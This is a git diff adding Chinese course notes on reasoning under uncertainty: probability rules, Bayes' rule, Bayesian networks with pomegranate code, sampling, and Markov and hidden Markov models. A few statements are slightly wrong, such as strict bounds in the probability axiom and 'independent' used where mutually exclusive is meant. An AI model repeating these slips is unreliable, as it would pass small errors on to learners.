+  'Lily': {'name': 'Lily', 'mother': None, 'father': None, 'trait': False}
+}
+```
+
+这里我们将展示 `joint_probability(people, {"Harry"}, {"James"}, {"James"})` 的计算。根据参数，`one_gene` 是 `{"Harry"}`，`two_genes` 是 `{"James"}`，而 `has_trait` 是 `{"James"}`。因此，这代表了以下的概率：Lily 没有变异基因，不具有该性状；Harry 有一个变异基因，不具有该性状；James 有 2 个变异基因，具有该性状。
+
+我们从 Lily 开始（我们考虑人的顺序并不重要，只要我们把正确的数值乘在一起，因为乘法是可交换的）。Lily 没有变异基因，概率为 `0.96`（这就是 `PROBS["gene"][0]`）。鉴于她没有变异基因，她没有这个性状的概率为 `0.99`（这是 `PROBS["trait"][0][False]`）。因此，她没有变异基因且没有该性状的概率是 `0.96*0.99=0.9504`。
+
+接下来，我们考虑 James。James 有 2 个变异基因，概率为 `0.01`（这是 `PROBS["gene"][2]`）。鉴于他有 2 个变异基因，他确实具有该性状的概率为 `0.65`。因此，他有 2 个变异基因并且他确实具有该性状的概率是 `0.01*0.65=0.0065`。
+
+最后，我们考虑 Harry。Harry 有 1 个变异基因的概率是多少？有两种情况可以发生。要么他从母亲那里得到这个基因，而不是从父亲那里，要么他从父亲那里得到这个基因，而不是从母亲那里。他的母亲 Lily 没有变异基因，所以 Harry 会以 `0.01` 的概率从他母亲那里得到这个基因（这是 `PROBS["mutation"]`），因为从他母亲那里得到这个基因的唯一途径是基因突变；相反，Harry 不会从他母亲那里得到这个基因，概率是 `0.99`。他的父亲 James 有 2 个变异基因，所以 Harry 会以 `0.99` 的概率从他父亲那里得到这个基因（这是 `1-PROBS["mutation"]`），但会以 `0.01` 的概率从他母亲那里得到这个基因（突变的概率）。这两种情况加在一起可以得到 `0.99*0.99+0.01*0.01=0.9802`，即 Harry 有 1 个变异基因的概率。
+
+考虑到 Harry 有 1 个变异基因，他没有该性状的概率是 `0.44`（这是 `PROBS["trait"][1][false]`）。因此，哈利有 1 个变异基因而没有该性状的概率是 `0.9802 * 0.44 = 0.431288`。
+
+因此，整个联合概率是三个人中每个人的所有这些数值相乘的结果：`0.9504 * 0.0065 * 0.431288 = 0.0026643247488`。
+
+## 提示
+
+- 回顾一下，要计算多个事件的联合概率，你可以通过将这些概率相乘来实现。但请记住，对于任何孩子来说，他们拥有一定数量的基因的概率是以他们的父母拥有什么基因为条件的。
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.3不确定性问题.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.3不确定性问题.md
new file mode 100644
index 0000000..577f8eb
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.3.3不确定性问题.md
@@ -0,0 +1,485 @@
+# 不确定性问题
+
+上一讲中，我们讨论了人工智能如何表示和推导新知识。然而，在现实中，人工智能往往对世界只有部分了解，这给不确定性留下了空间。尽管如此，我们还是希望我们的人工智能在这些情况下做出尽可能好的决定。例如，在预测天气时，人工智能掌握了今天的天气信息，但无法 100% 准确地预测明天的天气。尽管如此，我们可以做得比偶然更好，今天的讲座是关于我们如何创造人工智能，在有限的信息和不确定性的情况下做出最佳决策。
+
+## 概率 (Probability)
+
+不确定性可以表示为多个事件以及每一个事件发生的可能性或概率。
+
+### 概率世界
+
+每一种可能的情况都可以被视为一个世界，由小写的希腊字母$ω$表示。例如，掷骰子可以产生六个可能的世界：骰子出现 1 的世界，骰子出现 2 的世界，依此类推。为了表示某个世界的概率，我们写$P(ω)$。
+
+### 概率公理
+
+- $0<P(ω)<1$ ：表示概率的每个值必须在 0 和 1 之间。
+  - 0 是一个不可能发生的事件，就像掷一个标准骰子并出现 7 一样。
+  - 1 是肯定会发生的事件，比如掷标准骰子，得到的值小于 10。
+  - 一般来说，值越高，事件发生的可能性就越大。
+- 每一个可能发生的事件的概率加在一起等于 1。
+
+$$\sum_{\omega\in\Omega}P(\omega)=1$$
+
+用标准骰子掷出数字 R 的概率可以表示为 $P(R)$ 。在我们的例子中，$P(R)=1/6$ ，因为有六个可能的世界（从 1 到 6 的任何数字），并且每个世界有相同的可能性发生。现在，考虑掷两个骰子的事件。现在，有 36 个可能的事件，同样有相同的可能性发生。
+
+![](https://cdn.xyxsw.site/GqlRbfW7Yom5a9xKCBHckMBuniF.png)
+
+然而，如果我们试图预测两个骰子的总和，会发生什么？在这种情况下，我们只有 11 个可能的值（总和必须在 2 到 12 之间），而且它们的出现频率并不相同。
+
+![](https://cdn.xyxsw.site/Y8EbbcnUsoHHlFxHCrGcIUDNn0f.png)
+
+为了得到事件发生的概率，我们将事件发生的世界数量除以可能发生的世界总数。例如，当掷两个骰子时，有 36 个可能的世界。只有在其中一个世界中，当两个骰子都得到 6 时，我们才能得到 12 的总和。因此，$P(12)＝\frac{1}{36}$，或者，换句话说，掷两个骰子并得到两个和为 12 的数字的概率是$\frac{1}{36}$。$P(7)$是多少？我们数了数，发现和 7 出现在 6 个世界中。因此，$P(7)＝\frac{6}{36}＝\frac{1}{6}$。
+
+### 无条件概率 (Unconditional Probability)
+
+无条件概率是指在没有任何其他证据的情况下对命题发生的概率。到目前为止，我们所问的所有问题都是无条件概率的问题，因为掷骰子的结果并不取决于之前的事件。
+
+## 条件概率 (Conditional Probability)
+
+条件概率是在给定一些已经揭示的证据的情况下，命题发生的概率。正如引言中所讨论的，人工智能可以利用部分信息对未来进行有根据的猜测。为了使用这些影响事件在未来发生概率的信息，我们需要依赖条件概率。
+
+条件概率用以下符号表示：$P(a|b)$，意思是“如果我们知道事件$b$已经发生，事件$a$发生的概率”，或者更简洁地说，“给定$b$的概率”。现在我们可以问一些问题，比如如果昨天下雨，今天下雨的概率是多少$P(今天下雨 | 昨天下雨)$，或者给定患者的测试结果，患者患有该疾病的概率 $P(疾病 | 测试结果)$ 是多少。
+
+在数学上，为了计算给定$b$的条件概率，我们使用公式：$P(a|b)=\frac{P(a\land b)}{P(b)}$
+
+换句话说，给定$b$为真的概率等于$a$并且$b$为真，除以$b$的概率。对此进行推理的一种直观方式是认为“我们对$a$并且$b$都为真的事件（分子）感兴趣，但只对我们知道$b$为真（分母）的世界感兴趣。“除以 $b$ 将可能的世界限制在 $b$ 为真的世界。以下是上述公式的代数等价形式：
+
+$P(a\land b)=P(b)P(a|b)$
+
+$P(a\land b)=P(a)P(b|a)$
+
+例如，考虑$P(总和为 12|在一个骰子上掷出 6)$，或者掷两个骰子假设我们已经掷了一个骰子并获得了六，得到十二的概率。为了计算这一点，我们首先将我们的世界限制在第一个骰子的值为六的世界：
+
+![](https://cdn.xyxsw.site/MkZ6bIPFroAm3lxzLydcsn5QnNg.png)
+
+现在我们问，在我们将问题限制在（除以$P(6)$，或第一个骰子产生 6 的概率）的世界中，事件 a（和为 12）发生了多少次？
+
+![](https://cdn.xyxsw.site/XZfhbR6sBorTI9x7hVVchGLUn3b.png)
+
+## 随机变量 (Random Variables)
+
+随机变量是概率论中的一个变量，它有一个可能取值的域。例如，为了表示掷骰子时的可能结果，我们可以定义一个随机变量 Roll，它可以取值$\set{0，1，2，3，4，5，6}$。为了表示航班的状态，我们可以定义一个变量 flight，它采用$\set{准时、延迟、取消}$的值。
+
+通常，我们对每个值发生的概率感兴趣。我们用概率分布来表示这一点。例如：
+
+$P(Flight=准时)=0.6$
+
+$P(Flight=延迟)=0.3$
+
+$P(Flight=取消)=0.1$
+
+用文字来解释概率分布，这意味着航班准时的可能性为 60%，延误的可能性为 30%，取消的可能性为 10%。注意，如前所述，所有可能结果的概率之和为 1。
+
+概率分布可以更简洁地表示为向量。例如，$P(Flight)=<0.6，0.3，0.1>$。为了便于解释，这些值有一个固定的顺序（在我们的情况下，准时、延迟、取消）。
+
+### 独立性 (Independence)
+
+独立性是指一个事件的发生不会影响另一个事件发生的概率。例如，当掷两个骰子时，每个骰子的结果与另一个骰子的结果是独立的。用第一个骰子掷出 4 不会影响我们掷出的第二个骰子的值。这与依赖事件相反，比如早上的云和下午的雨。如果早上多云，下午更有可能下雨，所以这些事件是有依赖性的。
+
+独立性可以用数学定义：事件$a$和$b$是独立的，当且仅当$a$并且$b$的概率等于$a$的概率乘以$b$的概率：$P(a∧b)=P(a)P(b)$。
+
+## 贝叶斯规则 (Bayes’Rule)
+
+贝叶斯规则在概率论中常用来计算条件概率。换句话说，贝叶斯规则说，给定$b$条件下$a$的概率等于给定$a$的条件下$b$概率，乘以$b$的概率除以$a$ 的概率。
+
+$P(b|a)=\frac{P(a|b)P(b)}{P(a)}$
+
+例如，如果早上有云，我们想计算下午下雨的概率，或者$P(雨 | 云)$。我们从以下信息开始：
+
+- 80% 的雨天下午开始于多云的早晨，或$P(云 | 雨)$。
+- 40% 的日子早晨多云，或$P(云)$。
+- 10% 的日子有下雨的下午，或$P(雨)$。
+
+应用贝叶斯规则，我们计算$\frac{0.8*0.1}{0.4}=0.2$。也就是说，考虑到早上多云，下午下雨的可能性是 20%。
+
+除了$P(a)$和$P(b)$之外，知道$P(a|b)$还允许我们计算$P(b|a)$。这是有帮助的，因为知道给定未知原因的可见效应的条件概率$P(可见效应 | 未知原因)$，可以让我们计算给定可见效应的未知原因的概率$P(未知原因 | 可见效应)$。例如，我们可以通过医学试验来学习$P(医学测试结果 | 疾病)$，在医学试验中，我们对患有该疾病的人进行测试，并观察测试结果发生的频率。知道了这一点，我们就可以计算出$P(疾病 | 医学检测结果)$，这是有价值的诊断信息。
+
+## 联合概率 (Joint Probability)
+
+联合概率是指多个事件全部发生的可能性。
+
+让我们考虑下面的例子，关于早上有云，下午有雨的概率。
+
+| C=云 | C=$\lnot$云 |
+| ---- | ----------- |
+| 0.4  | 0.6         |
+
+| R=雨 | R=$\lnot$雨 |
+| ---- | ----------- |
+| 0.1  | 0.9         |
+
+从这些数据来看，我们无法判断早上的云是否与下午下雨的可能性有关。为了做到这一点，我们需要看看这两个变量所有可能结果的联合概率。我们可以将其表示在下表中：
+
+|             | R=雨 | R=$\lnot$ 雨 |
+| ----------- | ---- | ------------ |
+| C=云        | 0.08 | 0.32         |
+| C=$\lnot$云 | 0.02 | 0.58         |
+
+现在我们可以知道有关这些事件同时发生的信息了。例如，我们知道某一天早上有云，下午有雨的概率是 0.08。早上没有云，下午没有雨的概率是 0.58。
+
+使用联合概率，我们可以推导出条件概率。例如，如果我们感兴趣的是在下午下雨的情况下，早上云层的概率分布。$P(C|雨)=\frac{P(C，雨)}{P(雨)}$旁注：在概率上，逗号和$∧$可以互换使用。因此，$P(C，雨)=P(C\land 雨)$。换句话说，我们将降雨和云层的联合概率除以降雨的概率。
+
+在最后一个方程中，可以将$P(雨)$视为$P(C，雨)$乘以的某个常数$\alpha=\frac{1}{P(雨)}$。因此，我们可以重写$P(C|雨)=\frac{P(C，雨)}{P(雨)}=αP(C，雨)$，或$α<0.08,0.02>=<0.8,0.2>$。考虑到下午有雨，将$α$分解后，我们可以得到 C 的可能值的概率比例。也就是说，如果下午有雨，那么早上有云和早上没有云的概率的比例是$0.08:0.02$。请注意，0.08 和 0.02 的总和不等于 1；然而，由于这是随机变量 C 的概率分布，我们知道它们应该加起来为 1。因此，我们需要通过算$α$来归一化这些值，使得$α0.08+α0.02=1$。最后，我们可以说$P(C|雨)=<0.8,0.2>$。
+
+## 概率规则 (Probability Rules)
+
+- 否定 (Negation): $P(\lnot a)=1-P(a)$。这源于这样一个事实，即所有可能世界的概率之和为 1，互补事件$\lnot a$和 $a$ 包括所有可能世界。
+- 包含 - 排除 Inclusion-Exclusion：$P(a\lor b)=P(a)+P(b)-P(a\land b)$。这可以用以下方式解释：$a$或$b$为真的世界等于$a$为真的所有世界，加上$b$为真的所有世界。然而，在这种情况下，有些世界被计算两次（a 和$b$都为真的世界）。为了消除这种重叠，我们将$a$和$b$ 都为真的世界减去一次（因为它们被计算了两次）。
+
+    > 下面是一个例子，可以说明这一点。假设我 80% 的时间吃冰淇淋，70% 的时间吃饼干。如果我们计算今天我吃冰淇淋或饼干的概率，不减去$P(冰淇淋∧饼干)$，我们错误地得出 0.7+0.8=1.5。这与概率在 0 和 1 之间的公理相矛盾。为了纠正我同时吃冰淇淋和饼干的天数计算两次的错误，我们需要减去$P(冰淇淋∧饼干)$一次。
+- 边缘化 (Marginalization)：$P(a)=P(a,b)+P(a,\lnot b)$。这里的观点是，$b$和$\lnot b$是独立的概率。也就是说，$b$和$\lnot b$同时发生的概率为 0。我们也知道$b$和$\lnot b$的总和为 1。因此，当$a$发生时，$b$可以发生也可以不发生。当我们把$a$和$b$发生的概率加上$a$和$\lnot b$的概率时，我们得到的只是$a$ 的概率。
+
+    随机变量的边缘化可以用：$P(X=x_i)=\sum_jP(X=x_i,Y=y_j)$表示
+
+    方程的左侧表示“随机变量$X$具有$x_i$值的概率”例如，对于我们前面提到的变量 C，两个可能的值是早上有云和早上没有云。等式的正确部分是边缘化的概念。$P(X=x_i)$等于$x_i$以及随机变量$Y$的每一个值的所有联合概率之和。例如，$P(C=云)=P(C=云，R=雨)+P(C=云，R=\lnot 雨)=0.08+0.32=0.4$。
+
+- 条件边缘化：$P(a)=P(a|b)P(b)+P(a|\lnot b)P(\lnot b)$。这是一个类似于边缘化的想法。事件$a$发生的概率等于给定$b$的概率乘以$b$的概率，再加上给定$\lnot b$的概率乘以$\lnot b$ 的概率。
+
+  $P(X=x_i)=\sum_jP(X=x_i|Y=y_i)P(Y=y_i)$
+
+  在这个公式中，随机变量$X$取$x_i$值概率等于$x_i$以及随机变量$Y$的每个值的联合概率乘以变量$Y$取该值的概率之和。如果我们还记得$P(a|b)=\frac{P(a，b)}{P(b)}$，就可以理解这个公式。如果我们将这个表达式乘以$P(b)$，我们得到$P(a,b)$，从这里开始，我们做的与边缘化相同。
+
+## 贝叶斯网络 (Bayesian Networks)
+
+贝叶斯网络是一种表示随机变量之间相关性的数据结构。贝叶斯网络具有以下属性：
+
+- 它们是有向图。
+- 图上的每个节点表示一个随机变量。
+- 从 X 到 Y 的箭头表示 X 是 Y 的父对象。也就是说，Y 的概率分布取决于 X 的值。
+- 每个节点 X 具有概率分布$P(X|Parents(X))$。
+
+让我们考虑一个贝叶斯网络的例子，该网络包含影响我们是否按时赴约的随机变量。
+
+![](https://cdn.xyxsw.site/GKc6be6ueopUYZxxQg4cS4AVnmb.png)
+
+让我们从上到下描述这个贝叶斯网络：
+
+- rain 是这个网络的根节点。这意味着它的概率分布不依赖于任何先前的事件。在我们的例子中，Rain 是一个随机变量，可以采用以下概率分布的值$\set{none，light，heavy}$：
+
+    | none | light | heavy |
+    | ---- | ----- | ----- |
+    | 0.7  | 0.2   | 0.1   |
+
+- Maintenance 对是否有列车轨道维护进行编码，取值为$\set{yes，no}$。Rain 是 Maintenance 的父节点，这意味着 Maintenance 概率分布受到 Rain 的影响。
+
+    | R     | yes | no  |
+    | ----- | --- | --- |
+    | none  | 0.4 | 0.6 |
+    | light | 0.2 | 0.8 |
+    | heavy | 0.1 | 0.9 |
+
+- Train 是一个变量，用于编码列车是准时还是晚点，取值为$\set{on\ time，delayed}$。请注意，列车上被“Maintenance”和“rain”指向。这意味着两者都是 Train 的父对象，它们的值会影响 Train 的概率分布。
+
+    | R      | M   | On time | Delayed |
+    | ------ | --- | ------- | ------- |
+    | none   | yes | 0.8     | 0.2     |
+    | none   | no  | 0.9     | 0.1     |
+    | light  | yes | 0.6     | 0.4     |
+    | light  | no  | 0.7     | 0.3     |
+    | heavry | yes | 0.4     | 0.6     |
+    | heavy  | no  | 0.5     | 0.5     |
+
+- Appointment 是一个随机变量，表示我们是否参加约会，取值为$\set{attend, miss}$。请注意，它唯一的父级是 Train。关于贝叶斯网络的这一点值得注意：父子只包括直接关系。的确，Maintenance 会影响 Train 是否准时，而 Train 是否准时会影响我们是否赴约。然而，最终，直接影响我们赴约机会的是 Train 是否准时，这就是贝叶斯网络所代表的。例如，如果火车准时到达，可能会有大雨和轨道维护，但这对我们是否赴约没有影响。
+
+    | T       | attend | miss |
+    | ------- | ------ | ---- |
+    | on time | 0.9    | 0.1  |
+    | delayed | 0.6    | 0.4  |
+
+例如，如果我们想找出在没有维护和小雨的一天火车晚点时错过约会的概率，或者$P(light,no,delayed,miss)$，我们将计算如下：$P(light)P(no|light)P(delayed|light,no)P(miss|delayed)$。每个单独概率的值可以在上面的概率分布中找到，然后将这些值相乘以产生$P(light,no,delayed,miss)$。
+
+### 推理 (Inference)
+
+在知识推理，我们通过蕴含来看待推理。这意味着我们可以在现有信息的基础上得出新的信息。我们也可以根据概率推断出新的信息。虽然这不能让我们确切地知道新的信息，但它可以让我们计算出一些值的概率分布。推理具有多个属性。
+- Query 查询变量 $X$：我们要计算概率分布的变量。
+- Evidence variables 证据变量$E$: 一个或多个观测到事件$e$ 的变量。例如，我们可能观测到有小雨，这一观测有助于我们计算火车延误的概率。
+- Hidden variables 隐藏变量 $H$: 不是查询结论的变量，也没有被观测到。例如，站在火车站，我们可以观察是否下雨，但我们不知道道路后面的轨道是否有维修。因此，在这种情况下，Maintenance 将是一个隐藏的变量。
+- The goal 目标：计算$P(X|e)$。例如，根据我们知道有小雨的证据 $e$ 计算 Train 变量 (查询) 的概率分布。
+
+举一个例子。考虑到有小雨和没有轨道维护的证据，我们想计算 Appointment 变量的概率分布。也就是说，我们知道有小雨，没有轨道维护，我们想弄清楚我们参加约会和错过约会的概率是多少，$P(Appointment|light,no)$。从联合概率部分中，我们知道我们可以将约会随机变量的可能值表示为一个比例，将$P(Appointment|light,no)$重写为$αP(Appointment,light,no)$。如果 Appointment 的父节点仅为 Train 变量，而不是 Rain 或 Maintenance，我们如何计算约会的概率分布？在这里，我们将使用边缘化。$P(Appointment,light,no)$的值等于$α[P(Appointment,light,no,delay)+P(Appointment,light,no,on\ time)]$。
+
+### 枚举推理
+
+枚举推理是在给定观测证据$e$和一些隐藏变量$Y$的情况下，找到变量$X$ 的概率分布的过程。
+
+$P(X|e)=\alpha P(X,e)=\alpha \sum_yP(X,e,y)$
+
+在这个方程中，$X$代表查询变量，$e$代表观察到的证据，$y$代表隐藏变量的所有值，$α$归一化结果，使我们最终得到的概率加起来为 1。用文字来解释这个方程，即给定$e$的$X$的概率分布等于$X$和$e$的归一化概率分布。为了得到这个分布，我们对$X、e$和$y$的归一化概率求和，其中$y$每次取隐藏变量$Y$ 的不同值。
+
+Python 中存在多个库，以简化概率推理过程。我们将查看库 `pomegranate`，看看如何在代码中表示上述数据。
+
+```python
+from pomegranate import *
+'''创建节点，并为每个节点提供概率分布'''
+# Rain 节点没有父节点
+rain = Node(DiscreteDistribution({
+    "none": 0.7,
+    "light": 0.2,
+    "heavy": 0.1
+}), name="rain")
+# Track maintenance 节点以 rain 为条件
+maintenance = Node(ConditionalProbabilityTable([
+    ["none", "yes", 0.4],
+    ["none", "no", 0.6],
+    ["light", "yes", 0.2],
+    ["light", "no", 0.8],
+    ["heavy", "yes", 0.1],
+    ["heavy", "no", 0.9]
+], [rain.distribution]), name="maintenance")
+# Train node 节点以 rain 和 maintenance 为条件
+train = Node(ConditionalProbabilityTable([
+    ["none", "yes", "on time", 0.8],
+    ["none", "yes", "delayed", 0.2],
+    ["none", "no", "on time", 0.9],
+    ["none", "no", "delayed", 0.1],
+    ["light", "yes", "on time", 0.6],
+    ["light", "yes", "delayed", 0.4],
+    ["light", "no", "on time", 0.7],
+    ["light", "no", "delayed", 0.3],
+    ["heavy", "yes", "on time", 0.4],
+    ["heavy", "yes", "delayed", 0.6],
+    ["heavy", "no", "on time", 0.5],
+    ["heavy", "no", "delayed", 0.5],
+], [rain.distribution, maintenance.distribution]), name="train")
+# Appointment 节点以列车为条件
+appointment = Node(ConditionalProbabilityTable([
+    ["on time", "attend", 0.9],
+    ["on time", "miss", 0.1],
+    ["delayed", "attend", 0.6],
+    ["delayed", "miss", 0.4]
+], [train.distribution]), name="appointment")
+'''我们通过添加所有节点来创建模型，然后通过在节点之间添加边来描述哪个节点是另一个节点的父节点（回想一下，贝叶斯网络是一个有向图，节点之间由箭头组成）。'''
+# 创建贝叶斯网络并添加状态
+model = BayesianNetwork()
+model.add_states(rain, maintenance, train, appointment)
+# 添加连接节点的边
+model.add_edge(rain, maintenance)
+model.add_edge(rain, train)
+model.add_edge(maintenance, train)
+model.add_edge(train, appointment)
+# 最终确定模型
+model.bake()
+'''模型可以计算特定条件下的概率'''
+# 计算给定观测的概率
+probability = model.probability([["none", "no", "on time", "attend"]])
+print(probability)
+'''我们可以使用该模型为所有变量提供概率分布，给出一些观测到的证据。在以下情况下，我们知道火车晚点了。给定这些信息，我们计算并打印变量 Rain、Maintenance 和 Appointment 的概率分布。'''
+# 根据火车晚点的证据计算预测
+predictions = model.predict_proba({
+    "train": "delayed"
+})
+# 打印每个节点的预测
+for node, prediction in zip(model.states, predictions):
+    # 预测已确定时返回字符串
+    if isinstance(prediction, str):
+        print(f"{node.name}: {prediction}")
+    else:
+    # 预测不确定时返回概率分布
+        print(f"{node.name}")
+        for value, probability in prediction.parameters[0].items():
+            print(f"    {value}: {probability:.4f}")
+```
+
+上面的代码使用了枚举推理。然而，这种计算概率的方法效率很低，尤其是当模型中有很多变量时。另一种方法是放弃精确推理，转而采用近似推理。这样做，我们在生成的概率中会失去一些精度，但这种不精确性通常可以忽略不计。相反，我们获得了一种可扩展的概率计算方法。
+
+### 采样 (Sampling)
+
+采样是一种近似推理技术。在采样中，根据每个变量的概率分布对其值进行采样。
+
+> 要使用骰子采样生成分布，我们可以多次掷骰子，并记录每次获得的值。假设我们把骰子掷了 600 次。我们计算得到 1 的次数，应该大约是 100，然后对其余的值 2-6 重复采样。然后，我们将每个计数除以投掷的总数。这将生成掷骰子的值的近似分布：一方面，我们不太可能得到每个值发生概率为 1/6 的结果（这是确切的概率），但我们会得到一个接近它的值。
+
+如果我们从对 Rain 变量进行采样开始，则生成的值 none 的概率为 0.7，生成的值 light 的概率为 0.2，而生成的值 heavy 的概率则为 0.1。假设我们的采样值为 none。当我们得到 Maintenance 变量时，我们也会对其进行采样，但只能从 Rain 等于 none 的概率分布中进行采样，因为这是一个已经采样的结果。我们将通过所有节点继续这样做。现在我们有一个样本，多次重复这个过程会生成一个分布。现在，如果我们想回答一个问题，比如什么是$P(Train=on\ time)$，我们可以计算变量 Train 具有准时值的样本数量，并将结果除以样本总数。通过这种方式，我们刚刚生成了$P(Train=on\ {time})$的近似概率。
+
+<table>
+    <tr>
+        <td><img src=https://cdn.xyxsw.site/CreObGAg4oXB0oxe2hMcQbYZnAc.png width=520></td>
+        <td><img src=https://cdn.xyxsw.site/Vr96bdSafoV4kBxJ3x2cAU0TnOg.png width=520></td>
+    </tr>
+</table>
+
+我们也可以回答涉及条件概率的问题，例如$P(rain=light|train=on\ {time})$。在这种情况下，我们忽略 Train 值为 delay 的所有样本，然后照常进行。我们计算在$Train=\text{on time}$的样本中有多少样本具有变量$Rain=light$，然后除以$Train=\text{on time}$的样本总数。
+
+<table>
+    <tr>
+        <td><img src=https://cdn.xyxsw.site/KsELbuMTCoKZkGxU9U5czQpanKg.png width=520></td>
+        <td><img src=https://cdn.xyxsw.site/MrP0b2FbXofDsOxgnmncufUynAB.png width=520></td>
+    </tr>
+</table>
+
+| 去除$T= on time$的样本 | 选择$R=light$的样本 |
+| --------------------- | ------------------ |
+| ![](https://cdn.xyxsw.site/Ilj3bPKuwo0l6Dx13rZcVXfenOb.png) | ![](https://cdn.xyxsw.site/AptYbb5MZoylvex7LvPcSqivnef.png) |
+
+在代码中，采样函数可以是 `generate_sample`：
+
+```python
+'''如果你对 pomegrante 库不熟悉，没有关系，考虑 generate_sample 为一个黑盒，或者你可以在 python 解释器中查看 model.states, state.distribution 的值以了解 model 在该库中的实现方式'''
+import pomegranate
+from collections import Counter
+def generate_sample():
+    # 随机变量与生成的样本之间的映射
+    sample = {}
+    # 概率分布与样本的映射
+    parents = {}
+    # 为所有状态节点采样
+    for state in model.states:
+        # 如果我们有一个非根节点，则以父节点为条件进行采样
+        if isinstance(state.distribution, pomegranate.ConditionalProbabilityTable):
+            sample[state.name] = state.distribution.sample(parent_values=parents)
+        # 否则，只根据节点的概率分布单独取样
+        else:
+            sample[state.name] = state.distribution.sample()
+        # 追踪映射中的采样值
+        parents[state.distribution] = sample[state.name]
+    # 返回生成的样本
+    return sample
+# 采样
+# 观测到 train=delay，计算 appointment 分布
+N = 10000
+data = []
+# 重复采样 10000 次
+for i in range(N):
+    # 根据我们之前定义的函数生成一个样本
+    sample = generate_sample()
+    # 如果在该样本中，Train 的变量的值为 delay，则保存样本。由于我们对给定 train=delay 的 appointment 概率分布感兴趣，我们丢弃了 train=on time 的采样样本。
+    if sample["train"] == "delayed":
+        data.append(sample["appointment"])
+# 计算变量的每个值出现的次数。我们可以稍后通过将结果除以保存的样本总数来进行归一化，以获得变量的近似概率，该概率加起来为 1。
+print(Counter(data))
+```
+
+### 似然加权
+
+在上面的采样示例中，我们丢弃了与我们所掌握的证据不匹配的样本。这是低效的。解决这一问题的一种方法是使用似然加权，使用以下步骤：
+
+- 首先固定证据变量的值。
+- 使用贝叶斯网络中的条件概率对非证据变量进行采样。
+- 根据其可能性对每个样本进行加权：所有证据出现的概率。
+
+例如，如果我们观察到$Train=\text{on time}$，我们将像之前一样开始采样。我们对给定概率分布的 Rain 值进行采样，然后对 Maintenance 进行采样，但当我们到达 Train 时，我们总是按照观测值取值。然后，我们继续进行，并在给定$Train=\text{on time}$的情况下，根据其概率分布对 Appointment 进行采样。既然这个样本存在，我们就根据观察到的变量在给定其采样父变量的情况下的条件概率对其进行加权。也就是说，如果我们采样了 Rain 并得到了 light，然后我们采样了 Maintenance 并得到了 yes，那么我们将用$P(Train=\text{on time}|light,yes)$来加权这个样本。
+
+## 马尔科夫模型 (Markov Models)
+
+到目前为止，我们已经研究了概率问题，给出了我们观察到的一些信息。在这种范式中，时间的维度没有以任何方式表示。然而，许多任务确实依赖于时间维度，例如预测。为了表示时间变量，我们将创建一个新的变量$X$，并根据感兴趣的事件对其进行更改，使$X_t$ 是当前事件，$X_{t+1}$ 是下一个事件，依此类推。为了能够预测未来的事件，我们将使用马尔可夫模型。
+
+### 马尔科夫假设 (**The Markov Assumption**)
+
+马尔科夫假设是一个假设，即当前状态只取决于有限的固定数量的先前状态。想想预测天气的任务。在理论上，我们可以使用过去一年的所有数据来预测明天的天气。然而，这是不可行的，一方面是因为这需要计算能力，另一方面是因为可能没有关于基于 365 天前天气的明天天气的条件概率的信息。使用马尔科夫假设，我们限制了我们以前的状态（例如，在预测明天的天气时，我们要考虑多少个以前的日子），从而使这个任务变得可控。这意味着我们可能会得到感兴趣的概率的一个更粗略的近似值，但这往往足以满足我们的需要。此外，我们可以根据最后一个事件的信息来使用马尔可夫模型（例如，根据今天的天气来预测明天的天气）。
+
+### 马尔科夫链 (**Markov Chain**)
+
+马尔科夫链是一个随机变量的序列，每个变量的分布都遵循马尔科夫假设。也就是说，链中的每个事件的发生都是基于之前事件的概率。
+
+为了构建马尔可夫链，我们需要一个过渡模型，该模型将根据当前事件的可能值来指定下一个事件的概率分布。
+
+![](https://cdn.xyxsw.site/VBGxbrNgAovuKXxnTKYcm7UinFd.png)
+
+在这个例子中，基于今天是晴天，明天是晴天的概率是 0.8。这是合理的，因为晴天之后更可能是晴天。然而，如果今天是雨天，明天下雨的概率是 0.7，因为雨天更有可能相继出现。使用这个过渡模型，可以对马尔可夫链进行采样。从一天是雨天或晴天开始，然后根据今天的天气，对第二天的晴天或雨天的概率进行采样。然后，根据明天的情况对后天的概率进行采样，以此类推，形成马尔科夫链：
+
+![](https://cdn.xyxsw.site/XBghbKBaVoz0C4xa85rch804ngd.png)
+
+给定这个马尔可夫链，我们现在可以回答诸如“连续四个雨天的概率是多少？”这样的问题。下面是一个如何在代码中实现马尔可夫链的例子：
+
+```python
+from pomegranate import *
+# 定义起始概率
+start = DiscreteDistribution({
+    "sun": 0.5,
+    "rain": 0.5
+})
+# 定义过渡模型
+transitions = ConditionalProbabilityTable([
+    ["sun", "sun", 0.8],
+    ["sun", "rain", 0.2],
+    ["rain", "sun", 0.3],
+    ["rain", "rain", 0.7]
+], [start])
+# 创造马尔科夫链
+model = MarkovChain([start, transitions])
+# 采样 50 次
+print(model.sample(50))
+```
+
+## 隐马尔科夫模型 (Hidden Markov Models)
+
+隐马尔科夫模型是一种具有隐藏状态的系统的马尔科夫模型，它产生了一些观察到的事件。这意味着，有时候，人工智能对世界有一些测量，但无法获得世界的精确状态。在这些情况下，世界的状态被称为隐藏状态，而人工智能能够获得的任何数据都是观察结果。下面是一些这方面的例子：
+
+- 对于一个探索未知领域的机器人来说，隐藏状态是它的位置，而观察是机器人的传感器所记录的数据。
+- 在语音识别中，隐藏状态是所讲的话语，而观察是音频波形。
+- 在衡量网站的用户参与度时，隐藏的状态是用户的参与程度，而观察是网站或应用程序的分析。
+
+举个例子。我们的人工智能想要推断天气 (隐藏状态)，但它只能接触到一个室内摄像头，记录有多少人带了雨伞。这里是我们的传感器模型 (sensor model)，表示了这些概率：
+
+![](https://cdn.xyxsw.site/E0TtbfgiCoV2dtxbbPHcjPgXnQe.png)
+
+在这个模型中，如果是晴天，人们很可能不会带伞到大楼。如果是雨天，那么人们就很有可能带伞到大楼来。通过对人们是否带伞的观察，我们可以合理地预测外面的天气情况。
+
+### 传感器马尔科夫假设
+
+假设证据变量只取决于相应的状态。例如，对于我们的模型，我们假设人们是否带雨伞去办公室只取决于天气。这不一定反映了完整的事实，因为，比如说，比较自觉的、不喜欢下雨的人可能即使在阳光明媚的时候也会到处带伞，如果我们知道每个人的个性，会给模型增加更多的数据。然而，传感器马尔科夫假设忽略了这些数据，假设只有隐藏状态会影响观察。
+
+隐马尔科夫模型可以用一个有两层的马尔科夫链来表示。上层，变量$X$，代表隐藏状态。底层，变量$E$，代表证据，即我们所拥有的观察。
+
